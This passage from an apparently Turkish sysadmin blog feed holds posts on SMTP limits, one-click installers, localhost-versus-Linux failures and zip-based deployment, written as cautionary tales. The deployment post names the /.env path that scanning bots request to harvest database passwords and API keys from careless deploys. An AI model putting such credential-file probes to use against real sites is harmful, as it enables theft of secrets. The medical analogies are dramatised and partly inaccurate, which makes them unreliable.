<li><strong>Toplu Pazarlama (Bulk Mail) Platformları:</strong> Eğer 10.000 kişiye bülten, kampanya veya bayram tebriği atacaksanız; bunun için tasarlanmış özel altyapıları kullanmak zorundasınız. Bu platformlar (Sendgrid, Mailgun, Amazon SES, Postmark) binlerce özel IP havuzu üzerinden, ISP'lerle (Gmail, Microsoft) anlaşmalı geri bildirim döngüleri (Feedback Loops) kullanarak gönderim yapar. İtibarınızı yakmaz.</li>
</ol>
<p>Damarına 4 litre serumu bir dakikada basıp hastanın kalbini patlatan biri nasıl tıp katili sayılıyorsa, saatlik limiti 100 olan sunucudan 15.000 mail basıp tüm sunucuyu kara listeye sokan esnaf da öyle bir bilişim sabotajcısıdır. Sistem kuralları keyfi sınırlar değildir; herkesin güvenle nefes alabilmesi için örülmüş hayati emniyet subaplarıdır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>SMTP</category>
            <category>E-Posta</category>
            <category>Spam</category>
            <category>Hosting</category>
            <category>Sistem Yönetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/smtp-limiti-ve-bayramkandil-toplu-e-posta-cilginligi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Softaculous / One-Click Installer" İle Kurulan Sitenin Yetim Kalması]]></title>
            <link>http://localhost:3000/blog/post/softaculous--one-click-installer-ile-kurulan-sitenin-yetim-kalmasi</link>
            <guid>softaculous--one-click-installer-ile-kurulan-sitenin-yetim-kalmasi</guid>
            <pubDate>Mon, 16 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Hosting panelindeki "Tek Tıkla WordPress Kur" butonuna basıp 15 saniyede site kuran ama veritabanı adını, MySQL kullanıcısını ve dizin yapısını bilmediği için ilk krizde tüm verilerini yanlışlıkla silen yetim site kullanıcıları.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/softaculous--one-click-installer-ile-kurulan-sitenin-yetim-kalmasi/thumbnail" alt=""> Modern cerrahi simülatörlerinde ve tıp fakültelerinde sıkça tartışılan bir tehlike vardır: Bir asistan hekimi alıp doğrudan tam otomatik robotik cerrahi konsolunun (da Vinci Robotu) başına oturtursunuz. Tek bir tuşa basar, robotik kollar hastanın karnına girer, kesiyi atar, safra kesesini tutar ve klipler. Asistan hiçbir anatomik diseksiyon yapmadan, dokuyu parmaklarıyla hissetmeden, retroperitoneal boşluktaki damar varyasyonlarını görmeden ameliyatı bitirir ve kendini "cerrah" zanneder.</p>
<p>Günün birinde beklenmedik bir şey olur: Robotik cerrahi konsolunun elektriği kesilir veya hidrolik kolu kilitlenir. Hasta ameliyat masasında, karnı açık ve kanama içinde yatmaktadır. O anda asistanın robotu bırakıp eline geleneksel bistüriyi, pensi ve dikiş iğnesini alması gerekir. Fakat asistan donakalır! Çünkü karaciğer yatağındaki o damarın nereden geldiğini, anatominin derinliklerini hiç öğrenmemiştir; sadece ekrandaki o parlak "İleri / Kes" butonlarına basmayı bilmektedir. Bilgisizlik kriz anında ölümle sonuçlanır.</p>
<p>Web geliştirme ve hosting ekosisteminde de destek masalarını en çok hüzünlendiren ama bir o kadar da çaresiz bırakan vaka tam olarak bu yapay cerrah sendromudur: <strong>Softaculous veya benzeri "Tek Tıkla Kurulum" (One-Click Installer) araçlarıyla kurulup arka plandaki anatomisi bilinmeyen yetim web siteleri.</strong></p>
<h3>15 Saniyede Gelen Sahte Özgüven</h3>
<p>cPanel veya Plesk paneline giren kullanıcı, sol menüde parıldayan o cazip ikonu görür: <strong>Softaculous Apps Installer</strong>. Üzerinde WordPress, Joomla, OpenCart, PrestaShop logoları dans etmektedir.</p>
<p>Kullanıcı "WordPress" butonuna tıklar. Karşısına tek bir sayfalık form çıkar:</p>
<ul>
<li>Site Adı: <em>Ahmet İnşaat</em></li>
<li>Yönetici Kullanıcı Adı: <em>admin</em></li>
<li>Yönetici Parolası: <em>123456</em></li>
</ul>
<p>Sayfanın altındaki "Gelişmiş Seçenekler" (Advanced Options) akordiyonu kapalıdır. Orada veritabanı adının <code>wp_841</code>, tablo ön ekinin <code>wpx7_</code>, veritabanı kullanıcısının <code>usr_w84</code> olarak otomatik üretildiği yazar. Fakat kullanıcımız oraya hiç bakmaz; alttaki o büyük, mavi <strong>"YÜKLE (INSTALL)"</strong> butonuna basar.</p>
<p>Ekranda bir ilerleme çubuğu döner: %10... %50... %100!</p>
<p>Ve 15 saniye içinde tebrik mesajı belirir: <em>"Tebrikler, siteniz başarıyla kuruldu: sirketadi.com"</em>. Kullanıcı kendini dünyanın en yetenekli sistem mühendisi ve web tasarımcısı gibi hisseder. Arkadaşlarına hava atar: <em>"Web sitesi kurmak çocuk oyuncağı, hosting şirketleri milleti boşuna soyuyor!"</em></p>
<p>Fakat kullanıcının bilmediği şey, arka planda ne olduğunu zerre kadar anlamadığı bir dijital canavar yarattığıdır.</p>
<h3>İlk Travma: Beyaz Ekran ve Kayıp Anatomi</h3>
<p>Aradan üç yıl geçer. Kullanıcı o siteye yüzlerce ürün girmiş, blog yazıları yazmış, müşteri portföyü oluşturmuştur. Bir sabah WordPress paneline girip uyumsuz bir eklentiyi günceller. Site aniden çöker:</p>
<blockquote>
<p><strong>"Error establishing a database connection"</strong></p>
</blockquote>
<p>Kullanıcı panikler. Google'da arama yapar: <em>"WordPress veritabanı bağlantı hatası nasıl çözülür?"</em>. Karşısına çıkan blog yazısı der ki: <em>"cPanel'e girin, phpMyAdmin'i açın, wp-config.php dosyasındaki veritabanını bulun ve tabloları onarın."</em></p>
<p>Kullanıcı cPanel'e girer. phpMyAdmin'e tıklar. Karşısına sol tarafta 5 farklı veritabanı çıkar:</p>
<ul>
<li><code>ahmet_db1</code></li>
<li><code>ahmet_wrdp1</code></li>
<li><code>ahmet_wp_841</code></li>
<li><code>ahmet_opencart</code></li>
<li><code>ahmet_test</code></li>
</ul>
<p>Kullanıcının gözleri yuvalarından fırlar. <em>"Benim sitemin veritabanı hangisi?"</em> Hiçbir fikri yoktur! Çünkü o sihirli kurulum aracına basarken arka planda hangi veritabanının üretildiğini ne not etmiştir, ne de merak etmiştir.</p>
<h3>Kendi Eliyle Yapılan Otopsi ve Dijital Katliam</h3>
<p>Kullanıcı deneme-yanılma yöntemine başvurur. <code>ahmet_test</code> veritabanına girer, hiçbir şey anlamaz. Dosya Yöneticisi'ne (File Manager) girer. <code>wp-config.php</code> dosyasını bulmaya çalışır; fakat siteyi kök dizine mi yoksa <code>/wp</code> veya <code>/yeni</code> klasörüne mi kurduğunu bile hatırlamamaktadır.</p>
<p>Rastgele bir şeyler dener. "Fazlalıkları temizleyeyim" diyerek phpMyAdmin'den <code>ahmet_wp_841</code> veritabanını seçip kırmızı renkli <strong>"DROP DATABASE" (Veritabanını Sil)</strong> butonuna tıklar.</p>
<p>O butona tıklandığı saniyede, son 3 yılın tüm ürünleri, siparişleri, müşteri yorumları ve verileri saniyenin onda birinde uzay boşluğuna karışır.</p>
<h3>Destek Masasına Gelen Feryat</h3>
<p>On dakika sonra destek masasının santrali çalar:</p>
<blockquote>
<p><em>"Yetişin! cPanel'de bir temizlik yapıyordum, sitem tamamen gitti! Hiçbir yazı açılmıyor, veritabanım kayboldu! Siz yedek almıyor musunuz? Derhal sitemi kurtarın, üç yıllık emeğim var orada!"</em></p>
</blockquote>
<p>Destek mühendisi sunucudaki haftalık yedekleri kontrol eder. Müşterinin son 6 aydır hosting yedekleme servisi satın almadığını veya yerel yedek almadığını görür. Veritabanı müşterinin kendi kök yetkisiyle doğrudan <code>DROP</code> edildiği için MySQL disk sektörleri sıfırlanmıştır.</p>
<p>Mühendis sorar: <em>"Ahmet Bey, silmeden önce wp-config.php dosyanıza bakıp veritabanı adınızı kontrol etmediniz mi?"</em></p>
<p>Müşterinin cevabı derin bir cehaletin itirafıdır:</p>
<blockquote>
<p><em>"Ne config'i evladım? Ben tek tıkla kurmuştum o siteyi! Hani her şey otomatikti? Nereden bileyim o garip harfli şeyin benim sitem olduğunu?"</em></p>
</blockquote>
<h3>Kolaylığın Getirdiği Sorumluluk</h3>
<p>Tek tıkla kurulum araçları (Softaculous, Fantastico, Installatron) kötü yazılımlar değildir; geliştiricilere zaman kazandıran mükemmel otomasyonlardır. Ancak otomasyon, altyapıyı anlama zorunluluğunu ortadan kaldırmaz:</p>
<ol>
<li><strong>Kurulum Notları Tutulmalıdır:</strong> Tek tıkla kurulum yapsanız dahi üretilen veritabanı adını (<code>DB_NAME</code>), veritabanı kullanıcısını (<code>DB_USER</code>) ve kurulum dizinini mutlaka güvenli bir parola yöneticisine (Bitwarden, 1Password) kaydedin.</li>
<li><strong><code>wp-config.php</code> Kutsaldır:</strong> WordPress'in kalbi kök dizindeki <code>wp-config.php</code> dosyasıdır. Sitenin hangi veritabanına bağlı olduğunu görmek için ilk bakılacak yer burasıdır.</li>
<li><strong>Müdahaleden Önce Fiziksel Döküm (Export):</strong> phpMyAdmin üzerinde tek bir SQL sorgusu çalıştırmadan veya tablo silmeden önce mutlaka sol menüden veritabanını seçip <strong>"Dışa Aktar" (Export / mysqldump)</strong> diyerek bilgisayarınıza <code>.sql</code> yedeğini indirin.</li>
<li><strong>Altyapı Okuryazarlığı:</strong> Bir web sitesi sahibiyseniz, HTML bilmeseniz bile alan adı, DNS, dosya dizini ve veritabanı arasındaki o üçlü sacayağının nasıl çalıştığını öğrenmek zorundasınız.</li>
</ol>
<p>Robot konsolundaki düğmeye basarak cerrah olamazsınız; cerrahi ancak insan bedeninin damarlarını ve dokularını tanıdığınızda başlar. Tek tıkla WordPress kurmak da sizi sistem yöneticisi yapmaz. Arka plandaki veritabanını tanımayan her site sahibi, ilk teknik arızada kendi sitesinin celladı olmaya mahkûmdur.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Softaculous</category>
            <category>WordPress</category>
            <category>Veritabanı</category>
            <category>Hosting</category>
            <category>Sistem Yönetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/softaculous--one-click-installer-ile-kurulan-sitenin-yetim-kalmasi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Localhost'ta Çalışıyordu": Sunucuya Atılınca Patlayan Yazılımlar]]></title>
            <link>http://localhost:3000/blog/post/localhostta-calisiyordu-sunucuya-atilinca-patlayan-yazilimlar</link>
            <guid>localhostta-calisiyordu-sunucuya-atilinca-patlayan-yazilimlar</guid>
            <pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Geliştiricinin kendi Windows bilgisayarında (XAMPP/WAMP) büyük-küçük harf duyarsızlığı ve sınırsız izinlerle çalıştırdığı yazılımın, Linux sunucuya atıldığında patlaması ve "Benim bilgisayarımda çalışıyordu, sunucunuz bozuk" bahanesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/localhostta-calisiyordu-sunucuya-atilinca-patlayan-yazilimlar/thumbnail" alt=""> Farmakoloji ve tıp araştırmalarında araştırmacıların çok iyi bildiği acı bir aforizma vardır: <em>"Petri kabındaki (in vitro) bir hücreyi öldürmek dünyanın en kolay işidir; üzerine çamaşır suyu dökerseniz de ölür, tabancayla ateş ederseniz de!"</em></p>
<p>Genç bir biyokimyacı laboratuvarda izole bir petri kabına kanser hücrelerini koyar, üzerine yüksek dozda bir kimyasal damlatır ve mikroskopta hücrelerin yok olduğunu görünce heyecanla bağırır: <em>"Kansere kesin çareyi buldum!"</em> Fakat aynı kimyasalı alıp gerçek bir insanın (in vivo) damarına verdiğiniz anda hasta 30 saniye içinde toksik şoktan ve böbrek iflasından hayatını kaybeder. Çünkü insan bedeni steril bir cam kap değildir; karaciğer metabolizması, bağışıklık sistemi, kan pH dengesi ve hücresel bariyerler o kimyasalın tüm hayallerini yerle bir eder.</p>
<p>Yazılım geliştirme dünyasında da yazılımcıların sistem yöneticilerine karşı savurduğu en meşhur, en bayat ve en sorumsuz savunma tam olarak bu petri kabı kibridir: <strong>"Ama benim bilgisayarımda (Localhost'ta) tıkır tıkır çalışıyordu!"</strong></p>
<h3>Olay Günü: Canlıya Çıkış Faciası</h3>
<p>Pazar gecesi saat 23:00. Şirketin dışarıdan anlaştığı hevesli yazılımcı veya şirketin yeni mezun geliştiricisi üç aydır üzerinde çalıştığı projeyi canlı sunucuya atmaya karar verir. Kendi Windows laptopunda XAMPP veya WampServer üzerinde aylardır kodlamış, butonlara tıklamış, testlerini yapmış ve projenin "kusursuz" olduğuna kanaat getirmiştir.</p>
<p>Dosyalar FTP üzerinden Linux Ubuntu/CloudLinux sunucunun <code>public_html</code> dizinine yüklenir. Veritabanı <code>.sql</code> dökümü phpMyAdmin'den içeri aktarılır.</p>
<p>Ve geliştirici tarayıcıdan siteye girer: <code>sirketadi.com</code>.</p>
<p>Karşılaştığı manzara bir yazılım enkāzıdır:</p>
<ul>
<li>Sayfanın yarısı beyaz ekran vermiştir.</li>
<li>Ürün fotoğraflarının ve CSS ikonlarının %80'i kırık resim simgesi (404 Not Found) olarak görünmektedir.</li>
<li>Kullanıcı giriş butonuna basıldığında ekrana 20 satırlık kırmızı SQL sözdizimi hatası fırlamaktadır.</li>
</ul>
<p>Geliştiricinin beyni donar. Kendi bilgisayarındaki Chrome sekmesine bakar: Her şey pırıl pırıl, capcanlı. Sunucudaki sekmeye bakar: Chernobyl reaktörü!</p>
<p>Ve o kutsal replik derhal hosting firmasının bilet sistemine yazılır:</p>
<blockquote>
<p><em>"Sizin sunucunuzda kesinlikle bir problem var! Yazılımımda tek bir hata bile yok, projem kendi localhost'umda kusursuz çalışıyor! Modülleriniz eksik, sunucu dosyaları engelliyor, hemen sunucuyu düzeltin!"</em></p>
</blockquote>
<h3>Localhost Cenneti ile Linux Cehennemi Arasındaki Uçurum</h3>
<p>Sistem mühendisi log kayıtlarını açar açmaz tebessüm eder. Çünkü "Localhost" ile gerçek "Production" ortamı arasındaki fark, bir çocuk parkı ile cephe savaşı arasındaki fark gibidir.</p>
<p>Geliştiricinin kendi bilgisayarında çalışan şeyin canlıda patlamasının üç temel sebebi vardır:</p>
<h4>1. Büyük / Küçük Harf Duyarlılığı (Case-Sensitivity)</h4>
<p>Windows'un dosya sistemi olan <strong>NTFS</strong>, dosya isimlerinde büyük ve küçük harf ayrımı yapmaz (case-insensitive). Yani Windows için <code>Resim.JPG</code>, <code>resim.jpg</code> ve <code>RESIM.jpg</code> tamamen aynı dosyadır.</p>
<p>Geliştirici kodun içine <code>&#x3C;img src="resim.jpg"></code> yazmış, klasöre ise fotoğrafçının gönderdiği <code>Resim.JPG</code> dosyasını atmıştır. Windows bunu sessizce görmezden gelir ve resmi açar.</p>
<p>Fakat dosyaları <strong>Linux ext4</strong> dosya sistemine attığınız an kıyamet kopar. Linux için <code>Resim.JPG</code> ile <code>resim.jpg</code> iki tamamen farklı varlıktır! Web sunucusu <code>resim.jpg</code> dosyasını bulamaz ve ekrana buz gibi <strong>404 Not Found</strong> basar.</p>
<p>Aynı felaket PHP <code>include</code> ve <code>require</code> satırlarında yaşanır. Dosya adı <code>UserClass.php</code> iken koda <code>require_once('userclass.php');</code> yazan geliştirici, Linux'ta doğrudan <code>Fatal Error: Failed opening required file</code> duvarına toslar.</p>
<h4>2. SQL Mode Katılığı (ONLY_FULL_GROUP_BY)</h4>
<p>Geliştiricinin yereldeki MySQL sunucusu varsayılan olarak gevşek ayarlarla kurulmuştur. SQL standartlarını hiçe sayan spagetti bir <code>GROUP BY</code> sorgusu yazar:</p>
<pre><code class="language-sql">SELECT id, urun_adi, kategori_id, fiyat FROM urunler GROUP BY kategori_id;
</code></pre>
<p>Yereldeki MySQL bu hatalı sorguyu affeder ve rastgele bir satırı getirir. Ancak gerçek sunucudaki kurumsal MySQL/MariaDB motorunda <code>SQL_MODE=STRICT_TRANS_TABLES,ONLY_FULL_GROUP_BY</code> kuralı aktiftir. Sunucu bu sorguyu gördüğü an reddeder:</p>
<pre><code class="language-text">ERROR 1055 (42000): 'urunler.urun_adi' isn't in GROUP BY clause 
and contains nonaggregated column...
</code></pre>
<p>Ve sistem orada donar.</p>
<h4>3. Root Yetkisi ve İzin İllüzyonu</h4>
<p>Geliştirici kendi laptopunda her zaman "Administrator" veya "root" yetkisiyle çalışır. Yazılımın geçici klasörlere yazması, oturum açması, dosya yüklemesi hiçbir izin engeline takılmaz.</p>
<p>Oysa Linux sunucuda güvenlik gereği dosyalar izole edilmiş kullanıcı haklarıyla (<code>chmod 0644</code>, dizinler <code>chmod 0755</code>) çalışır. Yazılım rastgele bir sistem dizinine veya yetkisi olmayan bir klasöre yazmaya kalktığında işletim sistemi tokat gibi bir <code>Permission Denied</code> hatası indirir.</p>
<h3>"Benim Bilgisayarımda Çalışıyordu" Bahanesinin Sonu</h3>
<p>Modern yazılım mühendisliği, geliştirme ortamı ile üretim ortamı arasındaki bu asimetriyi ortadan kaldırmak için devrim niteliğinde araçlar geliştirdi. Artık 2000'li yılların XAMPP refleksiyle kod yazıp canlı sunucuya laf atmak bir mazeret değil, mesleki yetersizliktir:</p>
<ol>
<li><strong>Docker ile Konteynerizasyon:</strong> Projenizi yerel Windows işletim sisteminizin insafına bırakmayın. Geliştirme ortamınızı canlı sunucuyla birebir aynı Linux sürümünü, aynı PHP sürümünü ve aynı kütüphaneleri içeren bir <code>Dockerfile</code> ile ayağa kaldırın. Konteyner içinde çalışan kod, sunucuda da %100 aynı şekilde çalışır.</li>
<li><strong>Katı Hata Raporlama (E_ALL):</strong> Yerelde kod yazarken <code>error_reporting(E_ALL);</code> ve <code>display_errors = On;</code> ayarlarını açın. En ufak bir <code>Notice</code> veya <code>Warning</code> uyarısını görmezden gelmeyin; canlıya çıkmadan kodunuzu sterilize edin.</li>
<li><strong>CI/CD ve Statik Kod Analizi:</strong> Kod canlıya gitmeden önce GitHub Actions veya GitLab CI üzerinde bir Linux runner'da otomatik testlerden ve lint taramalarından geçsin.</li>
<li><strong>Altyapıya Saygı:</strong> Canlı ortam bir laboratuvar değil, gerçek dünyanın fırtınalı denizidir. Kodunuzu Windows'un şımarık toleransına göre değil, Linux'un tavizsiz disiplinine göre inşa etmek zorundasınız.</li>
</ol>
<p>Petri kabında mikrop öldürüp kendini hekim sananlar gibi, XAMPP'ta iki sayfa açıp kendini yazılımcı sananlar da gerçek sunucunun ekstresine tosladığında gerçeği anlar. "Localhost'ta çalışıyordu" demek, "Araba garajda çok güzel duruyordu ama yola çıkınca motoru patladı" demekten farksızdır. Mühendislik garajda değil, yolda belli olur.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Localhost</category>
            <category>Linux</category>
            <category>PHP</category>
            <category>Geliştirme</category>
            <category>Sistem Yönetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/localhostta-calisiyordu-sunucuya-atilinca-patlayan-yazilimlar/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Git/GitHub Reposunu Sunucuya 'Zip' Yapıp Atmak": Deploy Kültürsüzlüğü]]></title>
            <link>http://localhost:3000/blog/post/gitgithub-reposunu-sunucuya-zip-yapip-atmak-deploy-kultursuzlugu</link>
            <guid>gitgithub-reposunu-sunucuya-zip-yapip-atmak-deploy-kultursuzlugu</guid>
            <pubDate>Sat, 14 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sürüm kontrolünü, CI/CD boru hatlarını ve otomatik dağıtımı reddedip projeyi masaüstünde "son_hali_v3_kesin.zip" yapıp cPanel File Manager üzerinden canlıya fırlatan yazılımcı profili ve internete saçılan .env krizleri.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/gitgithub-reposunu-sunucuya-zip-yapip-atmak-deploy-kultursuzlugu/thumbnail" alt=""> Organ nakli cerrahisinde lojistiğin ve sterilizasyonun en ufak bir hata payı dahi yoktur. Bir donörden bağışlanan kalbi veya karaciğeri vücuttan çıkardığınızda zaman işlemeye başlar. Organ, özel koruyucu hipotermik solüsyonların (Custodiol/UW) içine konur, steril çift katmanlı biyolojik taşıma kaplarına yerleştirilir, dijital sıcaklık takip sensörleriyle donatılır ve polis eskortu eşliğinde ambulans uçakla ameliyathaneye yetiştirilir. Bu süreç bir "soğuk zincir ve güvenlik protokolüdür".</p>
<p>Şimdi gözünüzün önüne şöyle bir sahne getirin: Donörden kalbi çıkaran cerrah, kalbi alelacele bir süpermarket poşetine koyuyor, ağzını düğümleyip şehirlerarası otobüs terminaline koşuyor ve muavine <em>"Kardeşim bunu bagajın altına at, Ankara Şehir Hastanesi'nin önünde hekim bekliyor ona teslim et"</em> diyor. Kulağa bir cinayet girişimi gibi geliyor, değil mi? Çünkü o poşetin içindeki organ yolda mikrop kapar, ezilir, bozulur ve o kalbin takıldığı hasta ameliyat masasında hayatını kaybeder.</p>
<p>Yazılım geliştirme ve sistem mühendisliği dünyasında da 2026 yılında hâlâ her gün binlerce geliştiricinin canlıya çıkış (deploy) yaparken sergilediği davranış tam olarak bu poşetle organ nakli barbarlığıdır: <strong>Git reposunu masaüstünde ZIP yapıp cPanel File Manager üzerinden canlı sunucuya boca etmek.</strong></p>
<h3>"Son_Hali_v2_Final_Kesin.zip" Faciası</h3>
<p>Senaryo kurumsal şirketlerde ve dijital ajanslarda defalarca yinelenen bir kara mizahtır. Şirketin yazılımcısı yerelde günlerce çalışmıştır. Kodda yeni özellikler eklemiş, ödeme sayfası kodlamış, API entegrasyonu yapmıştır.</p>
<p>Modern dünyanın mühendislik standartları bellidir: Kod Git ile versiyonlanır (<code>git commit -m "feat: add payment gateway"</code>), uzak repoya gönderilir (<code>git push</code>), GitHub Actions veya GitLab CI boru hattı (pipeline) tetiklenir, birim testleri (unit tests) ve güvenlik taramaları (security linter) çalışır, başarıyla geçerse kod hedef sunucuya sıfır kesintiyle (zero-downtime deployment / blue-green) aktarılır.</p>
<p>Fakat bizim "alaylı ama gururlu" yazılımcımız için bütün bunlar "zaman kaybı ve gavur icadıdır".</p>
<p>O kendi geleneksel ritüelini uygular:</p>
<ol>
<li>Windows Gezgini'nde proje klasörüne girer.</li>
<li><code>Ctrl + A</code> yapar.</li>
<li>Sağ tıklar: <strong>"Arşive Ekle -> son_hali_kesin_calisiyor.zip"</strong>.</li>
<li>cPanel'e girer, Dosya Yöneticisi'ni açar, <code>public_html</code> dizinine bu zip'i yükler.</li>
<li>Sağ tıklar: <strong>"Extract" (Çıkar)</strong> der ve tüm eski dosyaların üzerine körlemesine yazar!</li>
</ol>
<p>Ve arkasına yaslanıp sigarasından bir nefes çeker: <em>"Deploy ettik işte, ne gerek var CI/CD'ye!"</em></p>
<h3>İnternete Saçılan Hazine: <code>.env</code> ve <code>.git</code> Klasörü</h3>
<p>Bu barbarca yöntemin sisteme ödettiği ilk fatura, arşivin içine farkında olmadan nelerin girdiğini bilmemektir. Geliştirici <code>Ctrl + A</code> yaptığında, yerel geliştirme ortamındaki en mahrem dosyaları da o zip'in içine hapsetmiştir:</p>
<ul>
<li><code>.env</code> (Veritabanı kök parolaları, AWS S3 secret key'leri, Stripe / İyzico gizli API anahtarları, SMTP şifreleri)</li>
<li><code>.git</code> dizini (Tüm projenin kaynak kod geçmişi, silinmiş eski şifreler, commit logları)</li>
<li><code>node_modules</code> veya geçici önbellek dizinleri (Sunucunun diskini patlatan 200.000 adet çöp dosya!)</li>
</ul>
<p>Dosyalar <code>public_html</code> içine çıkarıldığı an, o gizli <code>.env</code> dosyası internette herkese açık (world-readable) bir web dosyasına dönüşür:</p>
<pre><code class="language-text">https://sirketadi.com.tr/.env
</code></pre>
<p>İnternette 7/24 tarama yapan kötü niyetli botlar (shodan, censys veya basit bir python scripti), alan adının sonuna <code>/.env</code> yazarak sorgu atar. Ve bingo! Ekranda firmanın tüm veritabanı bağlantı şifreleri, banka sanal POS gizli anahtarları kabak gibi parıldamaktadır!</p>
<p>Ertesi sabah firmanın veritabanı fidye yazılımcıları tarafından şifrelenmiş (<code>ransomware</code>), banka hesaplarından test çekimleri yapılmış ve müşteri verileri Telegram kanallarına saçılmıştır.</p>
<p>Yazılımcı ise patronun karşısında ter dökerek masal anlatır: <em>"Sunucuya siber saldırı yapıldı efendim, Rus hackerlar çok güçlüymüş..."</em></p>
<h3>Geri Dönüşü Olmayan (No-Rollback) Cehennem</h3>
<p>Bu deploy ilkelliğinin ikinci faturası ise bir hata anında ortaya çıkar. Yeni atılan kodda kritik bir syntax hatası vardır ve site 500 Internal Server Error vererek çöker.</p>
<p>Patron bağırır: <em>"Derhal eski haline geri alın!"</em></p>
<p>Yazılımcı panik içinde sunucuya bakar. Eski dosyaların tamamının üzerine yeni dosyalar yazılmıştır (overwrite). Eski çalışan kodun yedeği nerededir? Geliştiricinin masaüstündeki çöp kutusunda mı, iki gün önce aldığı <code>eski_yedek.zip</code> dosyasında mı?</p>
<p>Geri alma (Rollback) imkânsızdır! Geliştirici elleri titreyerek canlı sunucu üzerinde, FTP'den dosya açıp kodları elle düzeltmeye (hotfix in production) çalışır; her dokunuşunda sistemi daha da derin bir bataklığa sürükler.</p>
<h3>Modern Cerrahi: CI/CD ve Git Disiplini</h3>
<p>Yazılım canlı bir organizmadır ve üretim sunucusu o organizmanın kalp odacığıdır. Oraya dokunurken uyulması gereken asgari cerrahi hijyen kuralları şunlardır:</p>
<ol>
<li><strong>Sunucuya Asla Zip Yüklemeyin:</strong> cPanel veya sunucu doğrudan bir FTP çöplüğü değildir. Kod sunucuya ya <code>git pull</code> ile çekilmeli ya da otomatik bir dağıtım aracı tarafından aktarılmalıdır.</li>
<li><strong>Hassas Dosyaları <code>.gitignore</code> ile Mühürleyin:</strong> <code>.env</code>, <code>.git</code>, anahtar dosyaları ve kişisel konfigürasyonlar repoya asla girmemeli; sunucu tarafında güvenli bir şekilde elle bir kez tanımlanmalıdır.</li>
<li><strong>Web Kök Dizini Ayrımı (<code>/public</code> vs <code>/root</code>):</strong> Modern framework'lerde (Laravel, Next.js, Django) uygulamanın ana kodları web kök dizininin (<code>public_html</code>) dışında tutulmalıdır. Ziyaretçinin erişebileceği yer sadece <code>/public</code> klasörü olmalıdır; böylece kazara bir zip yüklense bile hassas dosyalar asla internete sızmaz.</li>
<li><strong>Tek Tıkla Geri Alma (Atomic Deployment):</strong> Deploy araçları (Deployer, Capistrano, GitHub Actions) sunucuda her sürümü <code>releases/2026031401</code> gibi ayrı klasörlerde açar ve sembolik bir link (<code>symlink</code>) ile ana yayına bağlar. Yeni sürümde hata çıkarsa tek bir komutla önceki sürüme 1 saniyede geri dönülür (instant rollback).</li>
</ol>
<p>Organı süpermarket poşetine koyup otobüsle yollayan cerraha nasıl hekim denilemezse, projeyi zip yapıp cPanel'e atan kişiye de yazılım mühendisi denilemez. Sürüm kontrolü ve güvenli dağıtım bir lüks değil; mühendislik mesleğinin asgari ahlakı ve onurudur.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Git</category>
            <category>Deploy</category>
            <category>CI/CD</category>
            <category>cPanel</category>
            <category>Siber Güvenlik</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/gitgithub-reposunu-sunucuya-zip-yapip-atmak-deploy-kultursuzlugu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Müşterinin Alan Adı Yönlendirmesini (301) Yanlış Yapıp Sonsuz Döngüye (Too Many Redirects) Sokması"]]></title>
            <link>http://localhost:3000/blog/post/musterinin-alan-adi-yonlendirmesini-301-yanlis-yapip-sonsuz-donguye-too-many-redirects-sokmasi</link>
            <guid>musterinin-alan-adi-yonlendirmesini-301-yanlis-yapip-sonsuz-donguye-too-many-redirects-sokmasi</guid>
            <pubDate>Fri, 13 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[.htaccess dosyasına veya Cloudflare paneline kulaktan dolma yönlendirme kodları ekleyip siteyi sonsuz bir yönlendirme kasırgasına sokan ve ekranda beliren ERR_TOO_MANY_REDIRECTS hatasının faturasını sunucuya kesen kullanıcıların dramı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/musterinin-alan-adi-yonlendirmesini-301-yanlis-yapip-sonsuz-donguye-too-many-redirects-sokmasi/thumbnail" alt=""> Kardiyoloji pratiğinde hekimlerin elektrokardiyogram (EKG) kağıdında gördüklerinde nefeslerini tuttuğu ritim bozukluklarından biri "Atriyoventriküler Düğümsel Re-entry Taşikardisi"dir (AVNRT). Sağlıklı bir kalpte elektriksel uyarı sinüs düğümünden doğar, kulakçıkları kasar, AV düğümden geçer, karıncıkları uyarır ve sonlanır. Tek bir uyarı, tek bir vuru üretir.</p>
<p>Ancak AV düğümün etrafında doğuştan veya sonradan oluşmuş mikroskobik bir elektriksel kısa devre yolu (aksesuar yolak) varsa felaket başlar. Sinyal aşağı indikten sonra sönmez; o kısa devre yolundan geriye, yukarı kaçar. Yukarı varan sinyal tekrar aşağı iner. Kalp kendi ürettiği sinyali sonsuz bir kısır döngü içinde kendi kendine geri beslemeye başlar. Dakikada 220-250 vuruyla çırpınan kalp, o elektriksel döngüyü kıramadığı için kan pompalayamaz, tansiyon sıfıra yaklaşır ve hasta senkopla (bayılma) yere yığılır. Kalbi durduran şey dışarıdan gelen bir darbe değil, kendi iletim yolundaki o sonsuz döngüdür.</p>
<p>Web altyapısında ve HTTP protokolünde de sistem yöneticilerinin destek panellerine en çok düşen ve müşteriyi delirtme noktasına getiren arıza tam olarak bu kardiyak re-entry tablosudur: <strong>ERR_TOO_MANY_REDIRECTS (Çok Fazla Yönlendirme Hatası).</strong></p>
<h3>Cuma Gecesi 00:30: SEO Uzmanının Gizli Dokunuşu</h3>
